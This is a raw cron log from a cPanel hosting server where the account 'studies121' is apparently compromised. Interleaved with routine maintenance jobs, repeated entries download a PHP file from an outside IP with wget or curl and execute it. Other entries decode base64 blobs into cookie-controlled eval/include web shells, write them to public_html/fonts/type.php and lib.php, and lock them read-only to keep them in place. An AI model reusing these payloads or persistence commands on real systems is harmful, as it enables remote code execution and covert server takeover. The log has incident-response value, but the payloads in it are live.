Sep 22 20:10:02 ip-184-168-122-23 CROND[24166]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 20:10:02 ip-184-168-122-23 CROND[24170]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 20:10:02 ip-184-168-122-23 CROND[24175]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 22 20:10:02 ip-184-168-122-23 CROND[24173]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 20:10:02 ip-184-168-122-23 CROND[24176]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 22 20:10:02 ip-184-168-122-23 CROND[24174]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 20:11:01 ip-184-168-122-23 CROND[24302]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 20:11:01 ip-184-168-122-23 CROND[24306]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 20:11:01 ip-184-168-122-23 CROND[24304]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 20:11:01 ip-184-168-122-23 CROND[24307]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 20:12:01 ip-184-168-122-23 CROND[24429]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 20:12:01 ip-184-168-122-23 CROND[24430]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 20:12:01 ip-184-168-122-23 CROND[24431]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 20:12:01 ip-184-168-122-23 CROND[24436]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 20:12:01 ip-184-168-122-23 CROND[24435]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 20:13:01 ip-184-168-122-23 CROND[24555]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 20:13:01 ip-184-168-122-23 CROND[24554]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 20:13:01 ip-184-168-122-23 CROND[24556]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 20:13:02 ip-184-168-122-23 CROND[24560]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 20:14:01 ip-184-168-122-23 CROND[24659]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 20:14:01 ip-184-168-122-23 CROND[24658]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 20:14:01 ip-184-168-122-23 CROND[24660]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 20:14:01 ip-184-168-122-23 CROND[24661]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 20:14:01 ip-184-168-122-23 CROND[24664]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 20:15:01 ip-184-168-122-23 CROND[24868]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 20:15:01 ip-184-168-122-23 CROND[24871]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 20:15:01 ip-184-168-122-23 CROND[24870]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 20:15:01 ip-184-168-122-23 CROND[24875]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 22 20:15:01 ip-184-168-122-23 CROND[24874]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep 22 20:15:01 ip-184-168-122-23 CROND[24872]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 22 20:15:01 ip-184-168-122-23 CROND[24873]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 20:16:01 ip-184-168-122-23 CROND[25195]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 20:16:01 ip-184-168-122-23 CROND[25196]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 20:16:01 ip-184-168-122-23 CROND[25198]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 20:16:01 ip-184-168-122-23 CROND[25200]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 20:16:01 ip-184-168-122-23 CROND[25203]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 22 20:16:01 ip-184-168-122-23 CROND[25202]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 20:17:01 ip-184-168-122-23 CROND[25522]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 20:17:01 ip-184-168-122-23 CROND[25523]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 20:17:01 ip-184-168-122-23 CROND[25525]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 20:17:01 ip-184-168-122-23 CROND[25524]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 20:18:01 ip-184-168-122-23 CROND[25844]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 20:18:01 ip-184-168-122-23 CROND[25846]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 20:18:01 ip-184-168-122-23 CROND[25847]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 20:18:01 ip-184-168-122-23 CROND[25848]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 20:18:01 ip-184-168-122-23 CROND[25849]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 20:19:01 ip-184-168-122-23 CROND[26186]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 20:19:01 ip-184-168-122-23 CROND[26189]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 20:19:01 ip-184-168-122-23 CROND[26191]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 20:19:01 ip-184-168-122-23 CROND[26193]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 20:20:01 ip-184-168-122-23 CROND[26839]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 20:20:01 ip-184-168-122-23 CROND[26842]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 20:20:01 ip-184-168-122-23 CROND[26843]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 22 20:20:01 ip-184-168-122-23 CROND[26845]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 22 20:20:01 ip-184-168-122-23 CROND[26849]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 22 20:20:01 ip-184-168-122-23 CROND[26847]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 20:20:01 ip-184-168-122-23 CROND[26846]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 20:20:01 ip-184-168-122-23 CROND[26850]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 22 20:20:01 ip-184-168-122-23 CROND[26844]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 20:21:01 ip-184-168-122-23 CROND[27483]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 20:21:01 ip-184-168-122-23 CROND[27484]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 20:21:01 ip-184-168-122-23 CROND[27486]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 20:21:01 ip-184-168-122-23 CROND[27487]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
